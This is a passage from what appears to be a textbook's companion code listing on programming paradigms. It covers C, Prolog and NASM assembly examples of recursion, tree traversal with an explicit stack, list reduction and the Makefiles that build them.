if (pid == 0) {
pid = getpid();
select_policy(i, &policy, &name, ¶m);
ret = sched_setscheduler(pid, policy, ¶m);
if (ret == -1)
err(1, "sched_setscheduler %d\n", i);
actual = sched_getscheduler(0);
printf("PID %d requested %d, actual %d\n", pid, policy, actual);
clock_gettime(CLOCK_MONOTONIC, &start);
some_random_computation(lim, 100);
clock_gettime(CLOCK_MONOTONIC, &end);
duration = (end.tv_sec - start.tv_sec) * 1000000000 +
(end.tv_nsec - start.tv_nsec);
printf("(PID %d) (i %d ) (policy %15s) (duration %ld)\n",
pid, i, name, duration);
exit(0);
}
}
}
int main(int argc, char **argv)
{
int i, num_processes;
long lim;
if (argc < 3) {
fprintf(stderr, "Usage: %s <num processes> <max num iterations>\n",
argv[0]);
return 1;
}
num_processes = atoi(argv[1]);
lim = atoi(argv[2]);
launch_processes(num_processes, lim);
for (i = 0; i < num_processes; i++)
wait(NULL);
return 0;
}
9. Programming Paradigms / 83 filesRead chapter
paradigms (09-01-03)
MakefileMake / 12 lines
PROGRAMS = functional
CC = gcc
CFLAGS = -g -Wall -O0
all: $(PROGRAMS)
$(PROGRAMS): %: %.c
$(CC) $(CFLAGS) $^ -o $@
clean:
rm -f *.o $(PROGRAMS)
family.plProlog / 22 lines
parent(mary, ann).
parent(mary, john).
parent(george, john).
male(george).
male(john).
female(mary).
female(ann).
father(X, Y) :-
parent(X, Y),
male(X).
mother(X, Y) :-
parent(X, Y),
female(X).
brother(X, Y) :-
parent(T, X),
parent(T, Y),
male(X).
functional.cC / 41 lines
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct str_item {
char *str;
struct str_item *next;
};
struct str_item *mkitem(const char *s, struct str_item *tail)
{
struct str_item *p = malloc(sizeof(*p));
p->str = malloc(strlen(s) + 1);
strcpy(p->str, s);
p->next = tail;
return p;
}
struct str_item *make_output(int i, int argc, char **argv)
{
return i >= argc ? NULL :
mkitem(argv[i], mkitem("\n", make_output(i + 1, argc, argv)));
}
struct str_item *main_func(int argc, char **argv)
{
return make_output(0, argc, argv);
}
int main(int argc, char **argv)
{
struct str_item *p, *tmp;
p = main_func(argc, argv);
for (; p; p = tmp) {
tmp = p->next;
fputs(p->str, stdout);
free(p->str);
free(p);
}
return 0;
}
strchar.cC / 37 lines
#include <stdio.h>
const char *strchar1(const char *s, char c)
{
const char *p;
for (p = s; *p; p++)
if (*p == c)
return p;
return NULL;
}
const char *strchar2(const char *s, char c)
{
if (!*s)
return NULL;
if (*s == c)
return s;
return strchar2(s + 1, c);
}
const char *strchar3(const char *s, char c)
{
return !*s ? NULL : *s == c ? s : strchar3(s + 1, c);
}
int main(int argc, char **argv)
{
if (argc < 3) {
fprintf(stderr, "Usage: %s <str> <char>\n", argv[0]);
return 1;
}
const char *res = strchar3(argv[1], argv[2][0]);
printf("%s\n", res);
return 0;
}
tree-00 (09-02-01)
09-02-01-tree-00.asmAssembly / 183 lines
%include "calls.inc"
%assign stack_len 1024
%assign num_len 12 ; sign + 10 decimal digits + space
%assign start 0
%assign left_visited 1
%assign completed 2
%assign node_val 0
%assign node_left 4
%assign node_right 8
%assign node_size 12
%assign stack_p 0
%assign stack_st 4
%assign stack_size 8
; Inline traversal records on the hardware stack.
; Use stable operands, not ESP-relative operands.
%macro stack_push 3 ; (size_operand, node_pointer, state)
inc dword %1
push dword %3
push dword %2
%endmacro
%macro stack_pop 1 ; (size_operand)
dec dword %1
add esp, stack_size
%endmacro
global _start
extern sint2str
section .data
new_line db 10
section .text
print_int:
; (val: 8)
; sint2str -> append a space -> write to stdout.
pbegin num_len, ebx, esi, edi
lea edi, [ebp-num_len] ; local conversion buffer
pcall sint2str, [ebp+8], edi
mov byte [edi+eax], ' '
inc eax
mov esi, eax ; length including the space
.write:
scall 4, 1, edi, esi
cmp eax, -4 ; -EINTR: retry
je .write
test eax, eax
jle .error
add edi, eax
sub esi, eax
jne .write ; finish any partial write
pend ebx, esi, edi
.error:
scall 1, 3
tree_push:
; (p: 8, nodes: 12, nodes_used: 16, val: 20)
pbegin 0
mov eax, [ebp+16]
mov edx, [eax]
imul edx, node_size
add edx, [ebp+12] ; tmp = &nodes[*nodes_used]
inc dword [eax] ; (*nodes_used)++
mov ecx, [ebp+20]
mov [edx+node_val], ecx
mov dword [edx+node_left], 0
mov dword [edx+node_right], 0
mov eax, [ebp+8]
mov [eax], edx ; *p = tmp
pend
tree_insert:
; (p: 8, nodes: 12, nodes_used: 16, val: 20)
pbegin 0
mov eax, [ebp+8]
mov eax, [eax]
test eax, eax
je .new_node
mov edx, [ebp+20]
cmp edx, [eax+node_val]
jl .left
jg .right
jmp .end
.new_node:
pcall tree_push, [ebp+8], [ebp+12], [ebp+16], [ebp+20]
jmp .end
.left:
lea eax, [eax+node_left]
pcall tree_insert, eax, [ebp+12], [ebp+16], [ebp+20]
jmp .end
.right:
lea eax, [eax+node_right]
pcall tree_insert, eax, [ebp+12], [ebp+16], [ebp+20]
.end:
pend
tree_print1:
; (p: 8)
pbegin 0, ebx
mov ebx, [ebp+8]
test ebx, ebx
jz .end
pcall tree_print1, [ebx+node_left]
pcall print_int, [ebx+node_val]
pcall tree_print1, [ebx+node_right]
.end:
pend ebx
tree_print:
; (p: 8)
; [ebp-4] = size
; ebx = s, pointing to the current traversal record
pbegin 4, ebx
mov dword [ebp-4], 0
mov eax, [ebp+8]
test eax, eax
je .end
stack_push [ebp-4], eax, start
.lp:
cmp dword [ebp-4], 0
je .end
mov ebx, esp
mov eax, [ebx+stack_st]
cmp eax, start
je .start
cmp eax, left_visited
je .left_visited
cmp eax, completed
je .completed
jmp .lp
.start:
mov dword [ebx+stack_st], left_visited
mov eax, [ebx+stack_p]
mov eax, [eax+node_left]
test eax, eax
je .lp
stack_push [ebp-4], eax, start
jmp .lp
.left_visited:
mov eax, [ebx+stack_p]
pcall print_int, [eax+node_val]
mov dword [ebx+stack_st], completed
mov eax, [ebx+stack_p]
mov eax, [eax+node_right]
test eax, eax
je .lp
stack_push [ebp-4], eax, start
jmp .lp
.completed:
stack_pop [ebp-4]
jmp .lp
.end:
pend ebx
_start:
; [ebp-4] = p, [ebp-8] = nodes_used
; [ebp-(8+stack_len*node_size)] = nodes[0]
pbegin 8+stack_len*node_size, ebx, esi, edi
mov dword [ebp-4], 0
mov dword [ebp-8], 0
lea ebx, [ebp-4]
lea esi, [ebp-(8+stack_len*node_size)]
lea edi, [ebp-8]
pcall tree_insert, ebx, esi, edi, 1
pcall tree_insert, ebx, esi, edi, 3
pcall tree_insert, ebx, esi, edi, 2
pcall tree_print, [ebp-4]
scall 4, 1, new_line, 1
scall 1, 0
09-02-01-tree-00.cC / 101 lines
#include <stdio.h>
#include <stdlib.h>
enum state {
start,
left_visited,
completed
};
struct node {
int val;
struct node *left, *right;
};
struct stack {
const struct node *p;
enum state st;
struct stack *next;
};
void stack_push(struct stack **s, const struct node *p, const enum state st)
{
struct stack *tmp = malloc(sizeof(*tmp));
tmp->p = p;
tmp->st = st;
tmp->next = *s;
*s = tmp;
}
void stack_pop(struct stack **s)
{
struct stack *tmp = *s;
*s = (*s)->next;
free(tmp);
}
void tree_push(struct node **p, int val)
{
struct node *tmp = malloc(sizeof(*tmp));
tmp->val = val;
tmp->left = NULL;
tmp->right = NULL;
*p = tmp;
}
void tree_insert(struct node **p, int val)
{
if (!*p)
tree_push(p, val);
else if (val < (*p)->val)
tree_insert(&(*p)->left, val);
else if (val > (*p)->val)
tree_insert(&(*p)->right, val);
}
void tree_print1(const struct node *p)
{
if (!p)
return;
tree_print1(p->left);
printf("%d ", p->val);
tree_print1(p->right);
}
void tree_print(const struct node *p)
{
struct stack *s;
s = NULL;
stack_push(&s, p, start);
while (s)
switch (s->st) {
case start:
s->st = left_visited;
if (s->p->left)
stack_push(&s, s->p->left, start);
break;
case left_visited:
printf("%d ", s->p->val);
s->st = completed;
if (s->p->right)
stack_push(&s, s->p->right, start);
break;
case completed:
stack_pop(&s);
}
}
int main()
{
struct node *p;
p = NULL;
tree_insert(&p, 1);
tree_insert(&p, 3);
tree_insert(&p, 2);
tree_insert(&p, 3);
tree_print(p);
printf("\n");
return 0;
}
09-02-01-tree-01.cC / 102 lines
#include <stdio.h>
enum { stack_len = 1024 };
enum state {
start,
left_visited,
completed
};
struct node {
int val;
struct node *left, *right;
};
struct stack {
const struct node *p;
enum state st;
};
void stack_push(struct stack *s, int *size,
const struct node *p, const enum state st)
{
struct stack *tmp = &s[*size];
(*size)++;
tmp->p = p;
tmp->st = st;
}
void stack_pop(int *size)
{
(*size)--;
}
void tree_push(struct node **p, struct node *nodes, int *nodes_used, int val)
{
struct node *tmp = &nodes[*nodes_used];
(*nodes_used)++;
tmp->val = val;
tmp->left = NULL;
tmp->right = NULL;
*p = tmp;
}
void tree_insert(struct node **p, struct node *nodes, int *nodes_used, int val)
{
if (!*p)
tree_push(p, nodes, nodes_used, val);
else if (val < (*p)->val)
tree_insert(&(*p)->left, nodes, nodes_used, val);
else if (val > (*p)->val)
tree_insert(&(*p)->right, nodes, nodes_used, val);
}
void tree_print1(const struct node *p)
{
if (!p)
return;
tree_print1(p->left);
printf("%d ", p->val);
tree_print1(p->right);
}
void tree_print(const struct node *p)
{
struct stack backpath[stack_len], *s;
int size = 0;
stack_push(backpath, &size, p, start);
while (size) {
s = &backpath[size - 1];
switch (s->st) {
case start:
s->st = left_visited;
if (s->p->left)
stack_push(backpath, &size, s->p->left, start);
break;
case left_visited:
printf("%d ", s->p->val);
s->st = completed;
if (s->p->right)
stack_push(backpath, &size, s->p->right, start);
break;
case completed:
stack_pop(&size);
}
}
}
int main()
{
struct node *p, nodes[stack_len];
int nodes_used = 0;
p = NULL;
tree_insert(&p, nodes, &nodes_used, 1);
tree_insert(&p, nodes, &nodes_used, 3);
tree_insert(&p, nodes, &nodes_used, 2);
tree_print(p);
printf("\n");
return 0;
}
MakefileMake / 29 lines
PROGRAMS = 09-02-01-tree-01
ASSEMBLY = 09-02-01-tree-00
ASRCMODULES = sint2str.asm
AOBJMODULES = $(ASRCMODULES:.asm=.o)
AOBJECTS = $(ASSEMBLY:=.o) $(AOBJMODULES)
CC = gcc
CFLAGS = -g -Wall
NASM = nasm
NASMFLAGS = -f elf32 -g
LD = ld
ASLDFLAGS = -m elf_i386
all: $(PROGRAMS) $(ASSEMBLY)
$(PROGRAMS): %: %.c
$(CC) $(CFLAGS) $^ -o $@
%.o: %.asm
$(NASM) $(NASMFLAGS) $< -o $@
$(ASSEMBLY): %: %.o $(AOBJMODULES)
$(LD) $(ASLDFLAGS) $^ -o $@
clean:
$(RM) $(AOBJECTS) $(PROGRAMS) $(ASSEMBLY)
calls.incAssembly / 67 lines
%macro pcall 1-*
; call subroutines < (name, param1, param2, param3)
%rep %0 - 1
%rotate -1
push dword %1
%endrep
%rotate -1
call %1
add esp, (%0 - 1)*4
%endmacro
%macro scall 1-4
; system call
; < (interrupt number, param1, param2, param3)
%if %0 > 1
push ebx ; it can only spoil eax, ecx, edx
%endif
%rep %0
%rotate -1
push dword %1 ; push in reverse order
%endrep
pop eax
%if %0 > 1
pop ebx
%if %0 > 2
pop ecx
%if %0 > 3
pop edx
%endif
%endif
%endif
int 80h
cmp eax, 0xfffff000
jb %%ok
mov ecx, -1
jmp short %%end
%%ok:
xor ecx, ecx
%%end:
%if %0 > 1
pop ebx
%endif
%endmacro
%macro pbegin 1-4
; procedure header < (sub, reg1, reg2, reg3)
push ebp
mov ebp, esp
sub esp, %1
%rep %0-1
%rotate 1
push %1
%endrep
%endmacro
%macro pend 0-3
; procedure tail < (reg1, reg2, reg3)
%rep %0
%rotate -1
pop %1
%endrep
mov esp, ebp
pop ebp
ret
%endmacro
sint2str.asmAssembly / 59 lines
global sint2str
section .text
sint2str: ; (number: 8, result: 12) -> string length in eax
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
mov esi, [ebp+8] ; number to convert
mov edi, [ebp+12] ; result buffer
mov ebx, 10
mov dword [ebp-4], 0 ; negative?
cmp esi, 0
jge .not_negative ; signed comparison
not esi
inc esi ; unsigned magnitude
mov dword [ebp-4], 1
.not_negative:
mov eax, esi
xor ecx, ecx
.lp:
xor edx, edx
div ebx
add edx, '0'
mov [edi+ecx], dl
inc ecx
cmp eax, 0
jne .lp
cmp dword [ebp-4], 1
jne .not_negative2
mov byte [edi+ecx], '-'
inc ecx
.not_negative2:
push ecx ; save string length
dec ecx
xor ebx, ebx
.lp2:
mov al, [edi+ebx] ; swap one byte at each end
mov dl, [edi+ecx]
mov [edi+ebx], dl
mov [edi+ecx], al
inc ebx
dec ecx
cmp ebx, ecx
jl .lp2
pop eax ; string length, including sign
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
tree-01 (09-02-01)
MakefileMake / 31 lines
PROGRAMS = tree-01
ASSEMBLY = tree-00
ASRCMODULES = sint2str.asm
AOBJMODULES = $(ASRCMODULES:.asm=.o)
AOBJECTS = $(ASSEMBLY:=.o) $(AOBJMODULES)
CC = gcc
CFLAGS = -g -Wall -O0
NASM = nasm
NASMFLAGS = -f elf64 -g
LD = ld
ASLDFLAGS = -m elf_x86_64 -e _start
.PHONY: all clean
all: $(PROGRAMS) $(ASSEMBLY)
$(PROGRAMS): %: %.c
$(CC) $(CPPFLAGS) $(CFLAGS) $(LDFLAGS) $< $(LDLIBS) -o $@
%.o: %.asm calls.inc
$(NASM) $(NASMFLAGS) $< -o $@
$(ASSEMBLY): %: %.o $(AOBJMODULES)
$(LD) $(ASLDFLAGS) $^ -o $@
clean:
$(RM) $(AOBJECTS) $(PROGRAMS) $(ASSEMBLY)
calls.incAssembly / 81 lines
%ifndef CALLS_INC
%define CALLS_INC
%macro pbegin 1-*
; procedure header < (sub, reg1, reg2, reg3, ...)
; Keep rsp divisible by 16 before calling another function.
push rbp
mov rbp, rsp
sub rsp, %1
%rep %0 - 1
%rotate 1
push %1
%endrep
%endmacro
%macro pend 0-*
; procedure tail < (reg1, reg2, reg3, ...)
%rep %0
%rotate -1
pop %1
%endrep
mov rsp, rbp
pop rbp
ret
%endmacro
%macro pcall 1-7
; System V call < (name, param1, ..., param6)
; Integer/pointer arguments only. Use 64-bit registers or qword memory.
; Capture operands before changing argument registers; no RSP operands.
; The caller must already have aligned RSP to 16 bytes.
%rep %0 - 1
%rotate -1
push qword %1
%endrep
%rotate -1
%if %0 > 1
pop rdi
%endif
%if %0 > 2
pop rsi
%endif
%if %0 > 3
pop rdx
%endif
%if %0 > 4
pop rcx
%endif
%if %0 > 5
pop r8
%endif
%if %0 > 6
pop r9
%endif
call %1
%endmacro
%macro scall 1-4 0, 0, 0
; system call
; < (syscall number, param1, param2, param3) > rax
push rdi
push rsi
push rdx
push rcx
push r11
push qword %4
push qword %3
push qword %2
pop rdi
pop rsi
pop rdx
mov eax, %1
syscall
pop r11
pop rcx
pop rdx
pop rsi
pop rdi
%endmacro
%endif
sint2str.asmAssembly / 46 lines
%include "calls.inc"
global sint2str
section .text
sint2str:
; (signed int: edi, result: rsi) -> length in rax
pbegin 0, rbx
mov eax, edi ; edi keeps the original sign
cmp eax, 0
jge .not_negative
neg eax ; unsigned magnitude, including INT_MIN
.not_negative:
mov ebx, 10
xor rcx, rcx
.lp:
xor edx, edx
div ebx
add dl, '0'
mov [rsi+rcx], dl
inc ecx
test eax, eax
jne .lp
cmp edi, 0
jge .reverse
mov byte [rsi+rcx], '-'
inc ecx
.reverse:
push rcx ; save length
dec ecx
xor rbx, rbx
.lp2:
cmp ebx, ecx
jge .end
mov al, [rsi+rbx]
mov dl, [rsi+rcx]
mov [rsi+rbx], dl
mov [rsi+rcx], al
inc ebx
dec ecx
jmp .lp2
.end:
pop rax
pend rbx
tree-00.asmAssembly / 173 lines
%include "calls.inc"
%assign stack_len 1024
%assign num_len 12 ; sign + 10 digits + space
%assign start 0
%assign left_visited 1
%assign completed 2
%assign node_val 0 ; 4-byte int, then 4 bytes of padding
%assign node_left 8 ; 8-byte pointer
%assign node_right 16 ; 8-byte pointer
%assign node_size 24
%assign stack_p 0
%assign stack_st 8
%assign stack_size 16
%macro stack_push 3 ; (size_operand, node_pointer, state)
inc dword %1
push qword %3
push qword %2
%endmacro
%macro stack_pop 1 ; (size_operand)
dec dword %1
add rsp, stack_size
%endmacro
global _start
extern sint2str
section .data
new_line db 10
section .text
print_int:
; (val: edi)
pbegin 16, rbx, r12 ; buffer + padding = 16 bytes
lea rbx, [rbp-num_len]
pcall sint2str, rdi, rbx
mov byte [rbx+rax], ' '
lea r12, [rax+1] ; length including space
.write:
scall 1, 1, rbx, r12
cmp rax, -4 ; interrupted: retry
je .write
test rax, rax
jle .error
add rbx, rax
sub r12, rax
jne .write
pend rbx, r12
.error:
scall 60, 3
tree_push:
; (p: rdi, nodes: rsi, nodes_used: rdx, val: ecx)
pbegin 0
mov eax, [rdx]
imul rax, node_size
add rax, rsi ; tmp = &nodes[*nodes_used]
inc dword [rdx]
mov [rax+node_val], ecx
mov qword [rax+node_left], 0
mov qword [rax+node_right], 0
mov [rdi], rax ; *p = tmp
pend
tree_insert:
; (p: rdi, nodes: rsi, nodes_used: rdx, val: ecx)
pbegin 0
mov rax, [rdi]
test rax, rax
je .new_node
cmp ecx, [rax+node_val]
jl .left
jg .right
jmp .end
.new_node:
pcall tree_push, rdi, rsi, rdx, rcx
jmp .end
.left:
lea rax, [rax+node_left]
pcall tree_insert, rax, rsi, rdx, rcx
jmp .end
.right:
lea rax, [rax+node_right]
pcall tree_insert, rax, rsi, rdx, rcx
.end:
pend
tree_print1:
; (p: rdi)
pbegin 8, rbx ; padding + saved rbx = 16 bytes
mov rbx, rdi
test rbx, rbx
je .end
pcall tree_print1, [rbx+node_left]
mov eax, [rbx+node_val]
pcall print_int, rax
pcall tree_print1, [rbx+node_right]
.end:
pend rbx
tree_print:
; (p: rdi)
; [rbp-4] = size, rbx = current traversal record
pbegin 8, rbx
mov dword [rbp-4], 0
test rdi, rdi
je .end
stack_push [rbp-4], rdi, start
.lp:
cmp dword [rbp-4], 0
je .end
mov rbx, rsp
mov eax, [rbx+stack_st]
cmp eax, start
je .start
cmp eax, left_visited
je .left_visited
.completed:
stack_pop [rbp-4]
jmp .lp
.start:
mov dword [rbx+stack_st], left_visited
mov rax, [rbx+stack_p]
mov rax, [rax+node_left]
test rax, rax
je .lp
stack_push [rbp-4], rax, start
jmp .lp
.left_visited:
mov rax, [rbx+stack_p]
mov eax, [rax+node_val]
pcall print_int, rax
mov dword [rbx+stack_st], completed
mov rax, [rbx+stack_p]
mov rax, [rax+node_right]
test rax, rax
je .lp
stack_push [rbp-4], rax, start
jmp .lp
.end:
pend rbx
_start:
; [rbp-8] = p, [rbp-12] = nodes_used
; [rbp-(16+stack_len*node_size)] = nodes[0]
mov rbp, rsp
sub rsp, 16+stack_len*node_size
mov qword [rbp-8], 0
mov dword [rbp-12], 0
lea rbx, [rbp-8]
lea r12, [rbp-(16 + stack_len * node_size)]
lea r13, [rbp-12]
pcall tree_insert, rbx, r12, r13, 1
pcall tree_insert, rbx, r12, r13, 3
pcall tree_insert, rbx, r12, r13, 2
pcall tree_print, [rbp-8]
lea rax, [rel new_line]
scall 1, 1, rax, 1
scall 60, 0
tree-01.cC / 107 lines
#include <stdio.h>
enum { stack_len = 1024 };
enum state {
start,
left_visited,
completed
};
struct node {
int val;
struct node *left, *right;
};
struct stack {
const struct node *p;
enum state st;
};
void stack_push(struct stack *s, int *size,
const struct node *p, const enum state st)
{
struct stack *tmp = &s[*size];
(*size)++;
tmp->p = p;
tmp->st = st;
}
void stack_pop(int *size)
{
(*size)--;
}
void tree_push(struct node **p, struct node *nodes, int *nodes_used, int val)
{
struct node *tmp = &nodes[*nodes_used];
(*nodes_used)++;
tmp->val = val;
tmp->left = NULL;
tmp->right = NULL;
*p = tmp;
}
void tree_insert(struct node **p, struct node *nodes, int *nodes_used, int val)
{
if (!*p)
tree_push(p, nodes, nodes_used, val);
else if (val < (*p)->val)
tree_insert(&(*p)->left, nodes, nodes_used, val);
else if (val > (*p)->val)
tree_insert(&(*p)->right, nodes, nodes_used, val);
}
void tree_print1(const struct node *p)
{
if (!p)
return;
tree_print1(p->left);
printf("%d ", p->val);
tree_print1(p->right);
}
void tree_print(const struct node *p)
{
struct stack backpath[stack_len], *s;
int size = 0;
if (!p)
return;
stack_push(backpath, &size, p, start);
while (size) {
s = &backpath[size - 1];
switch (s->st) {
case start:
s->st = left_visited;
if (s->p->left)
stack_push(backpath, &size, s->p->left, start);
break;
case left_visited:
printf("%d ", s->p->val);
s->st = completed;
if (s->p->right)
stack_push(backpath, &size, s->p->right, start);
break;
case completed:
stack_pop(&size);
}
}
}
int main(void)
{
struct node *p, nodes[stack_len];
int nodes_used;
p = NULL;
nodes_used = 0;
tree_insert(&p, nodes, &nodes_used, 1);
tree_insert(&p, nodes, &nodes_used, 3);
tree_insert(&p, nodes, &nodes_used, 2);
tree_print(p);
printf("\n");
return 0;
}
recursion-types (09-02-02)
MakefileMake / 12 lines
PROGRAMS = parallel
CC = gcc
CFLAGS = -g -Wall -O0
all: $(PROGRAMS)
$(PROGRAMS): %: %.c
$(CC) $(CFLAGS) $^ -o $@
clean:
rm -f *.o $(PROGRAMS)
parallel.cC / 58 lines
#include <stdio.h>
#include <stdlib.h>
struct node {
int val;
struct node *left, *right;
};
void tree_push(struct node **p, int val)
{
struct node *tmp = malloc(sizeof(*tmp));
tmp->val = val;
tmp->left = NULL;
tmp->right = NULL;
*p = tmp;
}
void tree_insert(struct node **p, int val)
{
if (!*p)
tree_push(p, val);
else if (val < (*p)->val)
tree_insert(&(*p)->left, val);
else if (val > (*p)->val)
tree_insert(&(*p)->right, val);
}
void tree_print(const struct node *p)
{
if (!p)
return;
tree_print(p->left);
printf("%d ", p->val);
tree_print(p->right);
}
int tree_sum(const struct node *p)
{
return p ? tree_sum(p->left) + p->val + tree_sum(p->right) : 0;
}
int main()
{
struct node *p;
p = NULL;
tree_insert(&p, 1);
tree_insert(&p, 3);
tree_insert(&p, 2);
tree_insert(&p, 3);
tree_print(p);
printf("\n");
int sum = tree_sum(p);
printf("%d\n", sum);
return 0;
}
primitive.cC / 23 lines
#include <stdio.h>
int array_sum1(const int arr[], int len)
{
if (len <= 0)
return 0;
return arr[0] + array_sum1(&(arr[1]), len - 1);
}
int array_sum2(const int *arr, int len)
{
return len <= 0 ? 0 : *arr + array_sum2(arr + 1, len - 1);
}
int main()
{
int arr[] = { 1, 2, 3, 4, 5 };
int len = sizeof(arr) / sizeof(*arr);
int sum1 = array_sum1(arr, len);
int sum2 = array_sum2(arr, len);
printf("%d %d\n", sum1, sum2);
return 0;
}
Book example: reduce_ls.c
reduce_ls.cC / 105 lines
#include <stdio.h>
#include <stdlib.h>
struct item {
int val;
struct item *next;
};
typedef int (*intfunptr)(int, int);
#ifdef SHORT_VERS
int intlist_reduce_l(intfunptr f, int i, struct item *ls)
{
return ls ? intlist_reduce_l(f, f(i, ls->val), ls->next) : i;
}
int intlist_reduce_r(intfunptr f, int i, struct item *ls)
{
return ls ? f(ls->val, intlist_reduce_r(f, i, ls->next)) : i;
}
#else
int intlist_reduce_l(intfunptr f, int i, struct item *ls)
{
int new_i;
if(!ls)
return i;
new_i = f(i, ls->val);
return intlist_reduce_l(f, new_i, ls->next);
}
int intlist_reduce_r(intfunptr f, int i, struct item *ls)
{
int rest_res;
if(!ls)
return i;
rest_res = intlist_reduce_r(f, i, ls->next);
return f(ls->val, rest_res);
}
#endif
int int_plus(int x, int y) { return x + y; }
int int_mul(int x, int y) { return x * y; }
int int_max(int x, int y) { return x > y ? x : y; }
int int_zcnt_left(int n, int x) { return x==0 ? n+1 : n; }
int int_zcnt_right(int x, int n) { return x==0 ? n+1 : n; }
struct item* array2list(int *a, int n)
{
struct item *p;
if(!n)
return NULL;
p = malloc(sizeof(*p));
p->val = *a;
p->next = array2list(a+1, n-1);
return p;
}
void freelist(struct item *p)
{
if(!p)
return;
freelist(p->next);
free(p);
}
int main()
{
int s, p, ma, mb, z1, z2;
int a[] = { 1,2,3,4,5,6,7,8 };
int b[] = { 1,2,0,13,4,15,61,7,0,8 };
struct item *lsa = array2list(a, 8);
struct item *lsb = array2list(b, 10);
#ifdef SHORT_VERS
printf("using short versions...\n");
#endif
s = intlist_reduce_l(int_plus, 0, lsa);
p = intlist_reduce_l(int_mul, 1, lsa);
printf("%d %d\n", s, p);
s = intlist_reduce_l(int_plus, 0, lsb);
p = intlist_reduce_l(int_mul, 1, lsb);
printf("%d %d\n", s, p);
s = intlist_reduce_r(int_plus, 0, lsa);
p = intlist_reduce_r(int_mul, 1, lsa);
printf("%d %d\n", s, p);
s = intlist_reduce_r(int_plus, 0, lsb);
p = intlist_reduce_r(int_mul, 1, lsb);
printf("%d %d\n", s, p);
ma = intlist_reduce_l(int_max, lsa->val, lsa->next);
mb = intlist_reduce_l(int_max, lsb->val, lsb->next);
printf("%d %d\n", ma, mb);
z1 = intlist_reduce_l(int_zcnt_left, 0, lsb);
z2 = intlist_reduce_r(int_zcnt_right, 0, lsb);
printf("%d %d\n", z1, z2);
return 0;
}
reduction (09-02-03)
MakefileMake / 12 lines
PROGRAMS = reduce reduce_loop
CC = gcc
CFLAGS = -g -Wall -O0
all: $(PROGRAMS)
$(PROGRAMS): %: %.c
$(CC) $(CFLAGS) $^ -o $@
clean:
rm -f *.o $(PROGRAMS)
reduce.cC / 85 lines
#include <stdio.h>
#include <stdlib.h>
typedef int (*funptr)(int, int);
struct item {
int val;
struct item *next;
};
void item_push(struct item **p, int val)
{
struct item *tmp = malloc(sizeof(*tmp));
tmp->val = val;
tmp->next = *p;
*p = tmp;
}
void item_pop(struct item **p)
{
struct item *tmp = *p;
(*p) = (*p)->next;
free(tmp);
}
int list_reduce_l1(funptr f, int i, struct item *l)
{
int new_i;
if (!l)
return i;
new_i = f(i, l->val);
return list_reduce_l1(f, new_i, l->next);
}
int list_reduce_r1(funptr f, int i, struct item *l)
{
int rest_res;
if (!l)
return i;
rest_res = list_reduce_r1(f, i, l->next);
return f(l->val, rest_res);
}
int list_reduce_l(funptr f, int i, struct item *l)
{
return l ? list_reduce_l(f, f(i, l->val), l->next) : i;
}
int list_reduce_r(funptr f, int i, struct item *l)
{
return l ? f(l->val, list_reduce_r(f, i, l->next)) : i;
}
int plus(int x, int y) { return x + y; }
int mul(int x, int y) { return x * y; }
int max(int x, int y) { return x > y ? x : y; }
int zero_count_l(int n, int x) { return x == 0 ? n + 1 : n; }
int zero_count_r(int x, int n) { return x == 0 ? n + 1 : n; }
int main()
{
int sum, product, maximum, num_zeros;
struct item *p = NULL;
item_push(&p, 1);
item_push(&p, 2);
item_push(&p, 3);
item_push(&p, 0);
item_push(&p, 4);
sum = list_reduce_l(plus, 0, p);
product = list_reduce_l(mul, 1, p);
maximum = list_reduce_l(max, p->val, p->next);
num_zeros = list_reduce_l(zero_count_l, 0, p);
sum = list_reduce_r(plus, 0, p);
product = list_reduce_r(mul, 1, p);
maximum = list_reduce_r(max, p->val, p->next);
num_zeros = list_reduce_r(zero_count_r, 0, p);
printf("sum: %d\n", sum);
printf("mul: %d\n", product);
printf("max: %d\n", maximum);
printf("num zeros: %d\n", num_zeros);
}
reduce_loop.cC / 94 lines
#include <stdio.h>
#include <stdlib.h>
struct item {
int val;
struct item *next;
};
typedef int (*intfunptr)(int, int);
/* the two recursive versions from the book */
int intlist_reduce_l(intfunptr f, int i, struct item *ls)
{
return ls ? intlist_reduce_l(f, f(i, ls->val), ls->next) : i;
}
int intlist_reduce_r(intfunptr f, int i, struct item *ls)
{
return ls ? f(ls->val, intlist_reduce_r(f, i, ls->next)) : i;
}
/* left reduction as a loop: i holds the result so far */
int intlist_reduce_l_loop(intfunptr f, int i, struct item *ls)
{
for (; ls; ls = ls->next)
i = f(i, ls->val);
return i;
}
/* right reduction as a loop: possible for an array, walked backwards */
int intarray_reduce_r_loop(intfunptr f, int i, const int *arr, int len)
{
int k;
for (k = len - 1; k >= 0; k--)
i = f(arr[k], i);
return i;
}
void push(struct item **ls, int val)
{
struct item *tmp = malloc(sizeof(*tmp));
tmp->val = val;
tmp->next = *ls;
*ls = tmp;
}
void pop(struct item **ls)
{
struct item *tmp = *ls;
*ls = (*ls)->next;
free(tmp);
}
/* ... and for a list only through a reversed copy */
int intlist_reduce_r_loop(intfunptr f, int i, struct item *ls)
{
struct item *rev = NULL;
for (; ls; ls = ls->next)
push(&rev, ls->val);
while (rev) {
i = f(rev->val, i);
pop(&rev);
}
return i;
}
struct item *make_list(const int *arr, int len)
{
struct item *first = NULL;
int k;
for (k = len - 1; k >= 0; k--)
push(&first, arr[k]);
return first;
}
int sub(int x, int y) { return x - y; }
int main()
{
int arr[] = { 1, 2, 3, 4 };
struct item *ls = make_list(arr, 4), *tmp;
printf("left, recursion: %d\n", intlist_reduce_l(sub, 0, ls));
printf("left, loop: %d\n", intlist_reduce_l_loop(sub, 0, ls));
printf("right, recursion: %d\n", intlist_reduce_r(sub, 0, ls));
printf("right, array: %d\n", intarray_reduce_r_loop(sub, 0, arr, 4));
printf("right, list: %d\n", intlist_reduce_r_loop(sub, 0, ls));
while (ls) {
tmp = ls;
ls = ls->next;
free(tmp);
}
return 0;
}
Book example: match_rec.c
match_rec.cC / 52 lines
#include <stdio.h>
int starmatch(const char *str, const char *pat);
int match(const char *str, const char *pat)
{
switch(*pat) {
case 0:
return *str == 0;
case '*':
return starmatch(str, pat+1);
default:
if(!*str || (*str != *pat && *pat != '?'))
return 0;
return
match(str+1, pat+1);
}
}
#if 1
int starmatch(const char *str, const char *pat)
{
if(match(str, pat))
return 1;
if(!*str)
return 0;
return starmatch(str+1, pat);
}
#else
int starmatch(const char *str, const char *pat)
{
if(!*str)
return match("", pat);
